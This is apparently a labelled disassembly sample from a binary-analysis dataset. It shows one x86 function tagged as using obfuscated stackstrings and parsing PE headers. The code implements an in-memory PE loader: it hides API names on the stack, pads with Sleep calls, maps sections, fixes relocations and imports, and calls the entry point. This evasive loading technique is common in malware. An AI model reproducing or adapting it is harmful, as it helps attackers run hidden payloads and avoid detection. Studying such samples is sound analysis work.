Function at 0x10001bb0
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
push ebx
push esi
push edi
lea edi, [ebp - 0xc0]
mov ecx, 0x30
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x10], 0x4b
mov byte [ebp - 0xf], 0x45
mov byte [ebp - 0xe], 0x52
mov byte [ebp - 0xd], 0x4e
mov byte [ebp - 0xc], 0x45
mov byte [ebp - 0xb], 0x4c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.100206f0
mov byte [ebp - 0x24], 0x4f
mov byte [ebp - 0x23], 0x75
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x70
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x44
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x62
mov byte [ebp - 0x1b], 0x75
mov byte [ebp - 0x1a], 0x67
mov byte [ebp - 0x19], 0x53
mov byte [ebp - 0x18], 0x74
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x6e
mov byte [ebp - 0x14], 0x67
mov byte [ebp - 0x13], 0x41
mov byte [ebp - 0x12], 0
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.100206f0
mov byte [ebp - 0x34], 0x56
mov byte [ebp - 0x33], 0x69
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x75
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], 0x41
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x63
mov byte [ebp - 0x28], 0
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.100206f0
mov byte [ebp - 0x40], 0x48
mov byte [ebp - 0x3f], 0x65
mov byte [ebp - 0x3e], 0x61
mov byte [ebp - 0x3d], 0x70
mov byte [ebp - 0x3c], 0x41
mov byte [ebp - 0x3b], 0x6c
mov byte [ebp - 0x3a], 0x6c
mov byte [ebp - 0x39], 0x6f
mov byte [ebp - 0x38], 0x63
mov byte [ebp - 0x37], 0
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.100206f0
mov byte [ebp - 0x50], 0x47
mov byte [ebp - 0x4f], 0x65
mov byte [ebp - 0x4e], 0x74
mov byte [ebp - 0x4d], 0x50
mov byte [ebp - 0x4c], 0x72
mov byte [ebp - 0x4b], 0x6f
mov byte [ebp - 0x4a], 0x63
mov byte [ebp - 0x49], 0x65
mov byte [ebp - 0x48], 0x73
mov byte [ebp - 0x47], 0x73
mov byte [ebp - 0x46], 0x48
mov byte [ebp - 0x45], 0x65
mov byte [ebp - 0x44], 0x61
mov byte [ebp - 0x43], 0x70
mov byte [ebp - 0x42], 0
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.100206f0
mov esi, esp
lea eax, [ebp - 0x50]
push eax
mov edi, esp
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp edi, esp
call fcn.100206f0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.100206f0
mov dword [ebp - 0x54], eax
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.100206f0
mov esi, esp
lea edx, [ebp - 0x40]
push edx
mov edi, esp
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp edi, esp
call fcn.100206f0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.100206f0
mov dword [ebp - 0x58], eax
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.100206f0
mov esi, esp
lea ecx, [ebp - 0x34]
push ecx
mov edi, esp
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp edi, esp
call fcn.100206f0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.100206f0
mov dword [ebp - 0x5c], eax
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.100206f0
mov esi, esp
lea eax, [ebp - 0x24]
push eax
mov edi, esp
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp edi, esp
call fcn.100206f0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.100206f0
mov dword [ebp - 0x60], eax
mov edx, dword [ebp + 8]
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 0x68]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x5a4d
je 0x10001e33
xor eax, eax
jmp 0x10002063
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x6c]
cmp dword [ecx], 0x4550
je 0x10001e51
xor eax, eax
jmp 0x10002063
mov esi, esp
push 4
push 0x2000
mov edx, dword [ebp - 0x6c]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 0x34]
push edx
call dword [ebp - 0x5c]
cmp esi, esp
call fcn.100206f0
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jne 0x10001e9a
mov esi, esp
push 4
push 0x2000
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax + 0x50]
push ecx
push 0
call dword [ebp - 0x5c]
cmp esi, esp
call fcn.100206f0
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jne 0x10001ea7
xor eax, eax
jmp 0x10002063
mov esi, esp
push 0x14
push 0
mov edi, esp
call dword [ebp - 0x54]
cmp edi, esp
call fcn.100206f0
push eax
call dword [ebp - 0x58]
cmp esi, esp
call fcn.100206f0
mov dword [ebp - 0x64], eax
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x70]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 0x64]
mov dword [ecx + 0xc], 0
mov edx, dword [ebp - 0x64]
mov dword [edx + 8], 0
mov eax, dword [ebp - 0x64]
mov dword [eax + 0x10], 0
mov esi, esp
push 4
push 0x1000
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 0x50]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [ebp - 0x5c]
cmp esi, esp
call fcn.100206f0
mov esi, esp
push 4
push 0x1000
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [ebp - 0x5c]
cmp esi, esp
call fcn.100206f0
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x68]
mov edx, dword [ecx + 0x3c]
mov eax, dword [ebp - 0x6c]
add edx, dword [eax + 0x54]
push edx
mov ecx, dword [ebp - 0x68]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call fcn.10020d30
add esp, 0xc
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x74]
add ecx, dword [eax + 0x3c]
mov edx, dword [ebp - 0x64]
mov dword [edx], ecx
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x70]
mov dword [ecx + 0x34], edx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10002080
add esp, 0xc
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x70]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x78], ecx
cmp dword [ebp - 0x78], 0
je 0x10001f99
mov edx, dword [ebp - 0x78]
push edx
mov eax, dword [ebp - 0x64]
push eax
call fcn.10002970
add esp, 8
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.100025c0
add esp, 4
test eax, eax
jne 0x10001fae
jmp 0x10002061
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.100206f0
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.100206f0
mov edx, dword [ebp - 0x64]
push edx
call fcn.100022a0
add esp, 4
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
cmp dword [ecx + 0x28], 0
je 0x10002048
mov edx, dword [ebp - 0x64]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x70]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x7c], ecx
cmp dword [ebp - 0x7c], 0
jne 0x10001ffd
jmp 0x1000205f
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.100206f0
mov esi, esp
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.100206f0
mov esi, esp
push 0
push 1
mov edx, dword [ebp - 0x70]
push edx
call dword [ebp - 0x7c]
cmp esi, esp
call fcn.100206f0
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jne 0x1000203e
jmp 0x1000205d
mov eax, dword [ebp - 0x64]
mov dword [eax + 0x10], 1
mov eax, dword [ebp - 0x64]
jmp 0x10002063
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.10002ba0
add esp, 4
xor eax, eax
jmp 0x10002063
jmp 0x1000204d
jmp 0x1000204d
jmp 0x1000204d
pop edi
pop esi
pop ebx
add esp, 0xc0
cmp ebp, esp
call fcn.100206f0
mov esp, ebp
pop ebp
ret